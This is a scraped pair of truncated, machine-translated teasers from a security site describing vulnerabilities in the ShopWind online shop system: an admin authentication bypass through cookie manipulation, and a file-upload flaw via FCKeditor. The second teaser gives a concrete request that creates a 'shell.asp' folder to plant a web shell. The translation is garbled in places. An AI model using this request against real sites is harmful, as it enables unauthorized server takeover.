Shopwind online shop system admin authentication bypass vulnerability-vulnerability warning-the black bar safety net

shopwind online shop system background verification is not strict, resulting in a cookie trick 0x00 in the/admin/directory of the index. the asp file contains only a certificate file is as follows 0x01 same directory adminjudge. asp content is as follows, ! Shopwind online shop System Management...

ShopWind online shop system v1. 0 2 upload vulnerability-vulnerability warning-the black bar safety net

Old problems, this app is using FCKeditor editor. The use of 2 0 0 3 The resolution problem. Directly say using the method! The first step: FCKeditor/editor/filemanager/connectors/asp/connector. asp? Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell. asp&NewFolderName=z&uuid=1 2 4 4 7 8 9 9 ...